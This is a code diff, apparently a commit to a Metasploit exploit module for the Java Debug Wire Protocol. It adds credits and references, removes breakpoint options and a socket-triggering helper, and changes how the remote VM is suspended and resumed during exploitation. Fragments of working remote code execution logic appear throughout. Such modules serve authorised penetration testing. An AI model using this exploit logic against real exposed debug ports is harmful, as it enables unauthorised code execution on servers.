@@ -78,6 +78,7 @@ def initialize
78
78
} ,
79
79
'Author' => [
80
80
'prdelka' , # Vulnerability discovery
81
+ 'Michael Schierl' , # First exploit seen
81
82
'Christophe Alladoum' , # JDWP Analysis and Exploit
82
83
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
83
84
] ,
@@ -86,6 +87,7 @@ def initialize
86
87
[ 'OSVDB' , '96066' ] ,
87
88
[ 'EDB' , '27179' ] ,
88
89
[ 'URL' , 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html' ] ,
90
+ [ 'URL' , 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java' ] ,
89
91
[ 'URL' , 'http://www.exploit-db.com/papers/27179/' ] ,
90
92
[ 'URL' , 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse' ] ,
91
93
[ 'URL' , 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html' ]
@@ -121,14 +123,11 @@ def initialize
121
123
Opt ::RPORT ( 8000 ) ,
122
124
OptInt . new ( 'RESPONSE_TIMEOUT' , [ true , 'Number of seconds to wait for a server response' , 10 ] ) ,
123
125
OptString . new ( 'TMP_PATH' , [ false , 'A directory where we can write files. Ensure there is a trailing slash' ] ) ,
124
- OptString . new ( 'BREAKPOINT' , [ true , 'Frequently called method for setting breakpoint' , 'java.net.ServerSocket.accept' ] ) ,
125
- OptPort . new ( 'BREAKPOINT_PORT' , [ false , 'HTTP port to trigger breakpoint automatically (Ex. 8080 on tomcat)' ] )
126
126
] , self . class )
127
127
128
128
register_advanced_options (
129
129
[
130
130
OptInt . new ( 'NUM_RETRIES' , [ true , 'Number of retries when waiting for event' , 10 ] ) ,
131
- OptInt . new ( 'BREAK_TIMEOUT' , [ true , 'Number of seconds to wait for a breakpoint hit' , 30 ] )
132
131
] , self . class )
133
132
end
134
133
@@ -484,7 +483,7 @@ def suspend_vm(thread_id = nil)
484
483
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
485
484
def send_event ( event_code , args )
486
485
data = [ event_code ] . pack ( 'C' )
487
- data << [ SUSPEND_EVENTTHREAD ] . pack ( 'C' )
486
+ data << [ SUSPEND_ALL ] . pack ( 'C' )
488
487
data << [ args . length ] . pack ( 'N' )
489
488
490
489
args . each do |kind , option |
@@ -500,35 +499,8 @@ def send_event(event_code, args)
500
499
return response . unpack ( 'N' ) [ 0 ]
501
500
end
502
501
503
- # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
504
- def force_net_event
505
- print_status ( "#{ peer } - Forcing network event over #{ datastore [ 'BREAKPOINT_PORT' ] } " )
506
-
507
- rex_socket = Rex ::Socket ::Tcp . create (
508
- 'PeerHost' => rhost ,
509
- 'PeerPort' => datastore [ 'BREAKPOINT_PORT' ] ,
510
- 'Context' =>
511
- {
512
- 'Msf' => framework ,
513
- 'MsfExploit' => self
514
- }
515
- )
516
-
517
- add_socket ( rex_socket )
518
-
519
- rex_socket . put ( rand_text_alphanumeric ( 4 + rand ( 4 ) ) )
520
-
521
- begin
522
- rex_socket . shutdown
523
- rex_socket . close
524
- rescue IOError
525
- end
526
-
527
- remove_socket ( rex_socket )
528
- end
529
-
530
502
# Parses a received event and compares it with the expected
531
- def parse_event_breakpoint ( buf , event_id , thread_id )
503
+ def parse_event ( buf , event_id , thread_id )
532
504
len = @vars [ "objectid_size" ]
533
505
return false if buf . length < 10 + len - 1
534
506
@@ -795,8 +767,8 @@ def set_step_event
795
767
end
796
768
fail_with ( Failure ::Unknown , "Could not find a suitable thread for stepping" ) if t_id . nil?
797
769
798
- # 2. Suspend the thread before setting the event
799
- suspend_vm ( t_id )
770
+ # 2. Suspend the VM before setting the event
771
+ suspend_vm
800
772
801
773
vprint_status ( "#{ peer } - Setting 'step into' event in thread: #{ t_id } " )
802
774
step_info = format ( @vars [ "objectid_size" ] , t_id )
@@ -874,13 +846,13 @@ def exploit
874
846
r_id , t_id = set_step_event
875
847
876
848
print_status ( "#{ peer } - Resuming VM and waiting for an event..." )
877
- response = resume_vm ( t_id )
849
+ response = resume_vm
878
850
879
- unless parse_event_breakpoint ( response , r_id , t_id )
851
+ unless parse_event ( response , r_id , t_id )
880
852
datastore [ 'NUM_RETRIES' ] . times do |i |
881
853
print_status ( "#{ peer } - Received #{ i +1 } responses that are not a 'step into' event..." )
882
854
buf = read_reply
883
- break if parse_event_breakpoint ( buf , r_id , t_id )
855
+ break if parse_event ( buf , r_id , t_id )
884
856
885
857
if i == datastore [ 'NUM_RETRIES' ]
886
858
fail_with ( Failure ::Unknown , "Event not received in #{ datastore [ 'NUM_RETRIES' ] } attempts" )
0 commit comments